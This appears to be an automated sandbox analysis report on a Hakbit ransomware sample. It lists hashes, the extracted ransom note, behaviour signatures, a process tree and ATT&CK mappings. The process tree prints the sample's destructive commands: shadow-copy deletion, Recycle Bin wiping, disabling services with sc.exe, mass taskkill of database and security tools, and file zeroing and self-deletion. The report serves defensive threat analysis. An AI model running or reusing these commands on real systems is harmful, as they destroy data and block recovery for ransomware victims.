Overview

overview

10

Static

static

10

08751be484...2d.dll

windows10-ltsc 2021-x64

10

0a9f79abd4...51.exe

windows10-ltsc 2021-x64

3

0di3x.exe

windows10-ltsc 2021-x64

10

2019-09-02...10.exe

windows10-ltsc 2021-x64

10

2c01b00772...eb.exe

windows10-ltsc 2021-x64

10

31.exe

windows10-ltsc 2021-x64

10

3DMark 11 ...on.exe

windows10-ltsc 2021-x64

3

42f9729255...61.exe

windows10-ltsc 2021-x64

10

5da0116af4...18.exe

windows10-ltsc 2021-x64

10

69c56d12ed...6b.exe

windows10-ltsc 2021-x64

10

905d572f23...50.exe

windows10-ltsc 2021-x64

10

948340be97...54.exe

windows10-ltsc 2021-x64

10

95560f1a46...f9.dll

windows10-ltsc 2021-x64

3

Archive.zi...3e.exe

windows10-ltsc 2021-x64

8

DiskIntern...en.exe

windows10-ltsc 2021-x64

3

ForceOp 2....ce.exe

windows10-ltsc 2021-x64

7

HYDRA.exe

windows10-ltsc 2021-x64

10

KLwC6vii.exe

windows10-ltsc 2021-x64

1

Keygen.exe

windows10-ltsc 2021-x64

10

Lonelyscre...ox.exe

windows10-ltsc 2021-x64

3

LtHv0O2KZDK4M637.exe

windows10-ltsc 2021-x64

10

Magic_File...ja.exe

windows10-ltsc 2021-x64

3

OnlineInstaller.exe

windows10-ltsc 2021-x64

8

Remouse.Mi...cg.exe

windows10-ltsc 2021-x64

3

SecuriteIn...dE.exe

windows10-ltsc 2021-x64

10

SecuriteIn...ee.dll

windows10-ltsc 2021-x64

10

SecurityTa...up.exe

windows10-ltsc 2021-x64

4

Treasure.V...ox.exe

windows10-ltsc 2021-x64

3

VyprVPN.exe

windows10-ltsc 2021-x64

10

WSHSetup[1].exe

windows10-ltsc 2021-x64

3

Yard.dll

windows10-ltsc 2021-x64

10

b2bd3de3e5...2).exe

windows10-ltsc 2021-x64

10

Resubmissions

17-01-2025 20:27

250117-y8gzsasjhw 10

17-01-2025 10:48

250117-mv59nsvlbr 10

14-12-2024 07:51

241214-jqcj1sxnhr 10

11-12-2024 15:39

241211-s3498stkar 10

Analysis

  • max time kernel
    139s
  • max time network
    128s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250113-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    17-01-2025 20:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

  • SSDEEP

    1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Score
10/10
hakbitcredential_accessdiscoveryevasionexecutionransomwarespywarestealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: JIHn5tRp0vKjIk/wYALSttdnuaNGE/8mBHuhPyZ/ie1E/4aGCxfibLuMepJkMu630yO8PkWsPwZPL05uQQ+VjaOi2ALsjTgqWXwvkXkkF9LwAJnH2d/YP6Oc5nGAdxLWfcqXtLDmkYU3fAb2GxJRkgkoVP4ccw25Axz4svfPr86CGoVwjbGMCYKY8f2iyUs1GlGzjy0jR3gn41i6YvpfV4v33wnXg8Ym3uoELvYmTctvwmr/6ehKHWYqSN4fhjvJMSBcVYQ61kuHekEpPj8DIw4U7L2hG+eq5YlIxIilFLswBJ/YYp78rSdUJ2BCHbOl7YJ8r/yh+Hl39043fyVwgnbsyVeNCC+inJ5CD8G/qCQlexDFQqD83dlzQzyCgaoAFYgwkFLqdJt4VxSq6cZ9Ke3BCMaXtk6ydoXIcxRF+zsTkbOzFjLM2S6xcwyJlESAZG9nMvyGUM3NSjL1MEectTBWVbS/dqO8TuJuQIpAMklk5gq6PoM2MJ6zXwcPxln5bhwqaQMYRtFHOC1mi/iWeTGkJGafdi3zqzGA8cCK16umE+EQFPKhtDWIRiwumqaRzp8PFCEYnbF2HGveZPejsgcZevhw6mVxxXYZCBoXAmNvTUKZYt1JqSAl9+jFleTvuGFNRRQ735rwY+46zGaJ9l+HJbDL8l/crTzpUHmYCcc= Number of files that were processed is: 444

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

    ransomwarehakbit
  • Hakbit family
    hakbit
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Kills process with taskkill 47 IoCs
    evasion
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:2816
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      2⤵
      • Launches sc.exe
      PID:4760
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLWriter start= disabled
      2⤵
      • Launches sc.exe
      PID:4296
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SstpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1944
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2180
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1972
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3664
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4244
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqbcoreservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4504
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM firefoxconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4288
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:3168
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM agntsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1636
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2564
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM steam.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3056
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM encsvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4036
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM excel.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4416
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM CNTAoSMgr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2772
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlwriter.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3460
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tbirdconfig.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3320
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbeng50.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1396
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM thebat64.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2680
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocomm.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4864
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM infopath.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:792
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mbamtray.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2800
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM zoolz.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:700
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" IM thunderbird.exe /F
        2⤵
        • Kills process with taskkill
        PID:1784
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM dbsnmp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4716
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM xfssvccon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4708
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mspub.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4392
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM Ntrtscan.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2892
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM isqlplussvc.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM onenote.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:760
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM PccNTMon.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1680
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msaccess.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3312
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM outlook.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4624
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM tmlisten.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3752
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM msftesql.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2844
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM powerpnt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4172
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopqos.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1592
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM visio.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3832
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mydesktopservice.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4732
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM winword.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5104
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-nt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2828
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM wordpad.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3400
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM mysqld-opt.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4856
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocautoupds.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4748
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM ocssd.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3276
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM oracle.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2344
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlagent.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2704
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlbrowser.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2016
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM sqlservr.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4736
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill.exe" /IM synctime.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3084
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:4428
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:1204
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.7 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:6592
        • C:\Windows\system32\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 “%s”
          3⤵
            PID:6492
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
          2⤵
            PID:2612
            • C:\Windows\system32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:6528
          • C:\Windows\system32\DllHost.exe
            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
            1⤵
              PID:3168

            Network

            MITRE ATT&CK Enterprise v15

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            System Services

            1
            T1569

            Service Execution

            1
            T1569.002

            Persistence

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Privilege Escalation

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Defense Evasion

            Credential Access

            Credentials from Password Stores

            2
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Windows Credential Manager

            1
            T1555.004

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Browser Information Discovery

            1
            T1217

            Query Registry

            1
            T1012

            Remote System Discovery

            1
            T1018

            System Information Discovery

            2
            T1082

            System Network Configuration Discovery

            1
            T1016

            Internet Connection Discovery

            1
            T1016.001

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Command and Control

            Exfiltration

            Impact

            Service Stop

            1
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
              Filesize

              1.3MB

              MD5

              2125238333fc62c93afbab199eaaa154

              SHA1

              fd8fc23c71622ca8c812898d2df8b2c13e0f8b38

              SHA256

              2c0bcdcc25ecf257dd50a7162343f0a53434f49272db72ef20115800f8a1f12b

              SHA512

              31b4ce66da281f18be6e1fa88f8782fa724bfcf6c452a01902f0a467f460f6882ad81cefa8519ff3fb48a8f3b6d5badc3e16aa18e7d5c22a4442aa70c3238f4d

              Download Submit

            • C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
              Filesize

              28.8MB

              MD5

              65a403cff5045e171e6bb4c756c254db

              SHA1

              c64396d08a6a0d96fbf64950dfaa834bd74eaad8

              SHA256

              53f0e6f21b6426eace6e4ca66db8e1b12b34a25700274a46d3ddc5d1b955378a

              SHA512

              303afe9c4ad627de27799f3c7443425b9aa9ec8f9d7f0c0fd2ce699e3b2a81cca14df136ea076c1a6e665f66cb117663e0cd80662ac5f0bf6e1ca331c4313087

              Download Submit

            • C:\ProgramData\Package Cache\{2BB73336-4F69-4141-9797-E9BD6FE3980A}v64.8.8795\dotnet-host-8.0.2-win-x64.msi.energy[[email protected]]
              Filesize

              728KB

              MD5

              63e859e9216e332d04131751d74983de

              SHA1

              b209ea0cd2784bd8ae1e0278bc1d3fc090116d82

              SHA256

              aba0934f323269201f2b6fff4b403afe0299b7841e9377077c51e63c01bff399

              SHA512

              0fbfb3096b949c2cb08a07bfc74362f3e26c89c4ebd0469810cb264d54f36e0837dcf28b2baacfa399666565330ae77e54eafee7b31f9521bc27266bf3f878fb

              Download Submit

            • C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
              Filesize

              25.7MB

              MD5

              3364400ac0f22120b6fae847f80635e8

              SHA1

              5156e4fa25c4437706d4689538609e4e4577cee6

              SHA256

              5b74e2a7f42aef792e759174363410ebb59743b331a26b0f75d44bb914d5ba00

              SHA512

              4eff9397cc05ab53e2b5acf13143c3133d1562db2ee755d1039d646d674b52043e356215c6a38aaeb49f46ac442d0d4cc66d6bc50f198f7b700a737ca2983702

              Download Submit

            • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
              Filesize

              180KB

              MD5

              3cb8b189d947153e3bf4457f2770ec78

              SHA1

              f4205906d64791055d7e66a7b3a98991a96111ab

              SHA256

              f05d1f4a92177c9eb395f678b48e44b3a0a1de071fdf78a2423cf75e5f942a24

              SHA512

              77dffd1baefa4286a23a2484c750eb41183d2bc7a51d3059c9474fa48b9671654629d97621dbf0c418bd26ff123e5f75f1b43114ef7af9a6f9ea4c5ea687017b

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              e30544e6d048b2c1c6129c89835c16dd

              SHA1

              21d167ff64825d3f8a5c351c3160b670dc14cb60

              SHA256

              df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1

              SHA512

              fcfc1e2b4110286dc8ede8caab34ea309e24fa6deb225213ab0e5b2d6499cc195e65dde2e125bca3ef5d5b5f4fdda66a1e4429cf2ea1c3df0ba92142342dfd9b

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              28bd37b1c2c4aa1279b13dfde5afc05a

              SHA1

              45514aa393e68144c0483e977e21dbafe318a560

              SHA256

              a5793c71134a44cd641b16ad71ba1d3e2bf6d2e2abc38a1b0304d7a55b1f1b42

              SHA512

              4bc58ce55e5450bda26094f151f9f13f45fffd6f1bfdc131344b9bfb6fa70ede399230f2bebd408f40da68affd8ed083aa4b4ced242ea522aace4b822ec45615

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0nautdyv.jtb.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
              Filesize

              828B

              MD5

              67345b85017b91d07654ec23511b49fc

              SHA1

              c08dce10fa783d575b75620054667ee913970942

              SHA256

              bf1848ea61b8cb7a426742da62ccf7c77d534910ccf65e6f2131703ffc6b9e6a

              SHA512

              48f9f6f47823a16b297807594cf85aae264895c8ac9d5508d022fcf2d17e3f69e759c8ea7debf98f177dc2bb84233a54b427f4838e290f2ab8fb98503aa7cf5c

              Download Submit

            • memory/228-345-0x00007FFF05110000-0x00007FFF05BD2000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/228-228-0x00007FFF05113000-0x00007FFF05115000-memory.dmp

              Filesize

              8KB

              Download

            • memory/228-0-0x00007FFF05113000-0x00007FFF05115000-memory.dmp

              Filesize

              8KB

              Download

            • memory/228-2-0x00007FFF05110000-0x00007FFF05BD2000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/228-1-0x0000000000EA0000-0x0000000000EBA000-memory.dmp

              Filesize

              104KB

              Download

            • memory/228-562-0x00007FFF05110000-0x00007FFF05BD2000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/3084-36-0x0000024CFC470000-0x0000024CFC492000-memory.dmp

              Filesize

              136KB

              Download